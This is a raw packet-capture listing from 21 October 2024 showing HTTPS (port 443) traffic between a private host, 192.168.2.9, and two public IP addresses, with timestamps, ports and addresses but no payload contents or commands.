Oct 21, 2024 13:17:31.969516039 CEST	49821	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.969517946 CEST	443	49822	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.969531059 CEST	443	49821	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.969571114 CEST	49822	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.969661951 CEST	49822	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.969674110 CEST	443	49822	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.969850063 CEST	49817	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.969861031 CEST	443	49817	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.969871044 CEST	49817	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.969876051 CEST	443	49817	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.971796989 CEST	49823	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.971806049 CEST	443	49823	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:31.971863031 CEST	49823	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.971993923 CEST	49823	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:31.972002983 CEST	443	49823	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:32.067224026 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:32.067235947 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:32.067276955 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:32.067341089 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:32.067367077 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:32.067380905 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:32.067429066 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:32.935797930 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:32.935811043 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:32.935852051 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:32.935887098 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:32.935903072 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:32.935945034 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:32.935981989 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:32.942902088 CEST	443	49820	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:32.943635941 CEST	49820	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:32.943669081 CEST	443	49820	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:32.944113970 CEST	49820	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:32.944119930 CEST	443	49820	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:32.946031094 CEST	443	49821	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:32.946382999 CEST	443	49822	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:32.946396112 CEST	49821	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:32.946424961 CEST	443	49821	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:32.946810961 CEST	49821	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:32.946818113 CEST	443	49821	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:32.947052002 CEST	443	49823	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:32.947053909 CEST	443	49819	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:32.947227001 CEST	49822	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:32.947237015 CEST	443	49822	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:32.947348118 CEST	49823	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:32.947355032 CEST	443	49823	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:32.947822094 CEST	49822	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:32.947828054 CEST	443	49822	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:32.947882891 CEST	49823	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:32.947887897 CEST	443	49823	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:32.948148012 CEST	49819	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:32.948175907 CEST	443	49819	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:32.948520899 CEST	49819	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:32.948525906 CEST	443	49819	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.077311039 CEST	443	49820	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.077373028 CEST	443	49820	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.077505112 CEST	49820	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.077718973 CEST	49820	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.077742100 CEST	443	49820	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.077754021 CEST	49820	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.077759981 CEST	443	49820	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.080944061 CEST	49824	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.080949068 CEST	443	49821	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.080995083 CEST	443	49824	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.081073999 CEST	49824	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.081140995 CEST	443	49819	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.081458092 CEST	443	49821	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.081501007 CEST	443	49821	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.081507921 CEST	443	49823	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.081511021 CEST	443	49819	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.081552982 CEST	49821	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.081564903 CEST	443	49823	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.081621885 CEST	49823	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.081650972 CEST	49824	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.081666946 CEST	443	49824	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.081741095 CEST	49819	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.081792116 CEST	49823	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.081808090 CEST	443	49823	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.081819057 CEST	49823	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.081825972 CEST	443	49823	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.082914114 CEST	49819	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.082914114 CEST	49819	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.082927942 CEST	443	49819	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.082938910 CEST	443	49819	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.084455013 CEST	443	49822	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.084494114 CEST	49821	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.084501028 CEST	443	49821	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.084511042 CEST	49821	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.084515095 CEST	443	49821	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.084611893 CEST	443	49822	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.084670067 CEST	49822	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.086443901 CEST	49822	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.086452007 CEST	443	49822	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.086476088 CEST	49822	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.086481094 CEST	443	49822	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.089225054 CEST	49825	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.089236021 CEST	443	49825	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.089620113 CEST	49825	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.089756966 CEST	49825	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.089771986 CEST	443	49825	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.101836920 CEST	49826	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.101891994 CEST	443	49826	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.101977110 CEST	49826	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.102143049 CEST	49826	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.102159977 CEST	443	49826	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.103085995 CEST	49827	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.103099108 CEST	443	49827	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.103168011 CEST	49827	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.103302956 CEST	49827	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.103323936 CEST	443	49827	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.103602886 CEST	49828	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.103637934 CEST	443	49828	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.103928089 CEST	49828	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.103928089 CEST	49828	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.103966951 CEST	443	49828	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.407707930 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:33.407716990 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:33.407751083 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:33.407782078 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:33.407794952 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:33.407825947 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:33.407846928 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:33.821787119 CEST	443	49824	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.822626114 CEST	49824	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.822649956 CEST	443	49824	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.823087931 CEST	49824	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.823095083 CEST	443	49824	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.826627970 CEST	443	49828	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.827131987 CEST	49828	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.827155113 CEST	443	49828	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.827517986 CEST	49828	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.827522993 CEST	443	49828	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.837862968 CEST	443	49827	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.838371038 CEST	443	49826	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.838373899 CEST	49827	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.838383913 CEST	443	49827	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.838926077 CEST	49826	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.838944912 CEST	49827	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.838951111 CEST	443	49827	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.838958979 CEST	443	49826	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.839335918 CEST	49826	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.839342117 CEST	443	49826	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.846545935 CEST	443	49825	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.847340107 CEST	49825	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.847346067 CEST	443	49825	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.847429037 CEST	49825	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.847433090 CEST	443	49825	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.889827967 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:33.889841080 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:33.889880896 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:33.889942884 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:33.889971018 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:33.889996052 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:33.890022039 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:33.953408957 CEST	443	49824	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.953524113 CEST	443	49824	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.953583002 CEST	49824	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.954608917 CEST	49824	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.954627991 CEST	443	49824	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.954643011 CEST	49824	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.954648972 CEST	443	49824	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.955842972 CEST	443	49828	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.956053019 CEST	443	49828	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.956111908 CEST	49828	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.956406116 CEST	49828	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.956406116 CEST	49828	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.956434011 CEST	443	49828	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.956449032 CEST	443	49828	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.959352016 CEST	49829	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.959388971 CEST	443	49829	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.959532976 CEST	49829	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.960164070 CEST	49829	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.960181952 CEST	443	49829	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.961808920 CEST	49830	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.961848021 CEST	443	49830	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.962148905 CEST	49830	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.962301016 CEST	49830	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.962318897 CEST	443	49830	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.968036890 CEST	443	49827	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.968199015 CEST	443	49827	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.968255043 CEST	49827	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.969531059 CEST	49827	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.969540119 CEST	443	49827	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.969552040 CEST	49827	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.969557047 CEST	443	49827	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.969665051 CEST	443	49826	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.969862938 CEST	443	49826	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.969924927 CEST	49826	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.970897913 CEST	49826	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.970906019 CEST	443	49826	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.970915079 CEST	49826	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.970920086 CEST	443	49826	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.972403049 CEST	49831	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.972441912 CEST	443	49831	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.972552061 CEST	49831	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.972898960 CEST	49831	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.972913980 CEST	443	49831	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.973398924 CEST	49832	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.973424911 CEST	443	49832	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.973485947 CEST	49832	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.973614931 CEST	49832	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.973628044 CEST	443	49832	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.980441093 CEST	443	49825	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.980468035 CEST	443	49825	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.980521917 CEST	443	49825	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.980524063 CEST	49825	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.980727911 CEST	49825	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.980727911 CEST	49825	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.980727911 CEST	49825	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.980741024 CEST	443	49825	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.982916117 CEST	49833	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.982943058 CEST	443	49833	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:33.983052015 CEST	49833	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.983181953 CEST	49833	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:33.983195066 CEST	443	49833	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.288198948 CEST	49825	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.288216114 CEST	443	49825	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.683060884 CEST	443	49829	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.683501005 CEST	49829	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.683516979 CEST	443	49829	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.683984041 CEST	49829	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.683998108 CEST	443	49829	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.706852913 CEST	443	49830	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.707304001 CEST	49830	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.707334042 CEST	443	49830	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.707751036 CEST	49830	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.707761049 CEST	443	49830	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.709728956 CEST	443	49832	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.710309982 CEST	49832	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.710325003 CEST	443	49832	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.710680962 CEST	49832	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.710685968 CEST	443	49832	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.712100983 CEST	443	49831	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.712222099 CEST	443	49833	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.712424040 CEST	49831	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.712440968 CEST	443	49831	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.712491989 CEST	49833	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.712508917 CEST	443	49833	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.712826014 CEST	49833	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.712830067 CEST	443	49833	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.713020086 CEST	49831	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.713033915 CEST	443	49831	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.811012983 CEST	443	49829	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.811044931 CEST	443	49829	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.811096907 CEST	443	49829	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.811156034 CEST	49829	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.811362982 CEST	49829	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.811362982 CEST	49829	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.811383009 CEST	443	49829	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.811392069 CEST	443	49829	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.814064026 CEST	49834	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.814111948 CEST	443	49834	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.814182043 CEST	49834	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.814341068 CEST	49834	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.814353943 CEST	443	49834	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.838330984 CEST	443	49830	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.838526964 CEST	443	49830	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.838593006 CEST	49830	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.838633060 CEST	49830	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.838633060 CEST	49830	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.838651896 CEST	443	49830	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.838661909 CEST	443	49830	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.841240883 CEST	49835	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.841274023 CEST	443	49835	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.841294050 CEST	443	49832	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.841366053 CEST	49835	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.841517925 CEST	443	49832	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.841547012 CEST	49835	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.841557026 CEST	443	49835	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.841586113 CEST	49832	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.841607094 CEST	49832	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.841620922 CEST	443	49832	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.841630936 CEST	49832	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.841634989 CEST	443	49832	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.842022896 CEST	443	49833	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.842062950 CEST	443	49833	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.842109919 CEST	443	49833	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.842113972 CEST	49833	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.842163086 CEST	49833	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.842366934 CEST	49833	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.842372894 CEST	443	49833	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.842384100 CEST	49833	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.842389107 CEST	443	49833	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.843503952 CEST	443	49831	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.843578100 CEST	443	49831	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.843691111 CEST	49831	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.843694925 CEST	443	49831	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.843934059 CEST	49831	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.843944073 CEST	49836	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.843981028 CEST	443	49836	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.843998909 CEST	49831	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.843998909 CEST	49831	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.844014883 CEST	443	49831	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.844024897 CEST	443	49831	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.844041109 CEST	49836	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.844230890 CEST	49836	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.844244003 CEST	443	49836	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.845388889 CEST	49837	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.845413923 CEST	443	49837	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.845470905 CEST	49837	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.845649958 CEST	49837	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.845663071 CEST	443	49837	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.845868111 CEST	49838	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.845879078 CEST	443	49838	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:34.845972061 CEST	49838	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.846205950 CEST	49838	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:34.846215963 CEST	443	49838	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.016103029 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:35.016114950 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:35.016149998 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:35.016189098 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:35.016216993 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:35.016243935 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:35.016266108 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:35.570003033 CEST	443	49834	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.570686102 CEST	49834	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.570710897 CEST	443	49834	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.571130037 CEST	49834	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.571141005 CEST	443	49834	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.574817896 CEST	443	49836	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.575193882 CEST	49836	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.575223923 CEST	443	49836	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.575674057 CEST	49836	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.575686932 CEST	443	49836	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.580437899 CEST	443	49838	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.580852032 CEST	49838	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.580878973 CEST	443	49838	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.581257105 CEST	49838	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.581267118 CEST	443	49838	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.590281010 CEST	443	49837	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.590651989 CEST	49837	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.590683937 CEST	443	49837	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.591064930 CEST	49837	443	192.168.2.9	13.107.246.45
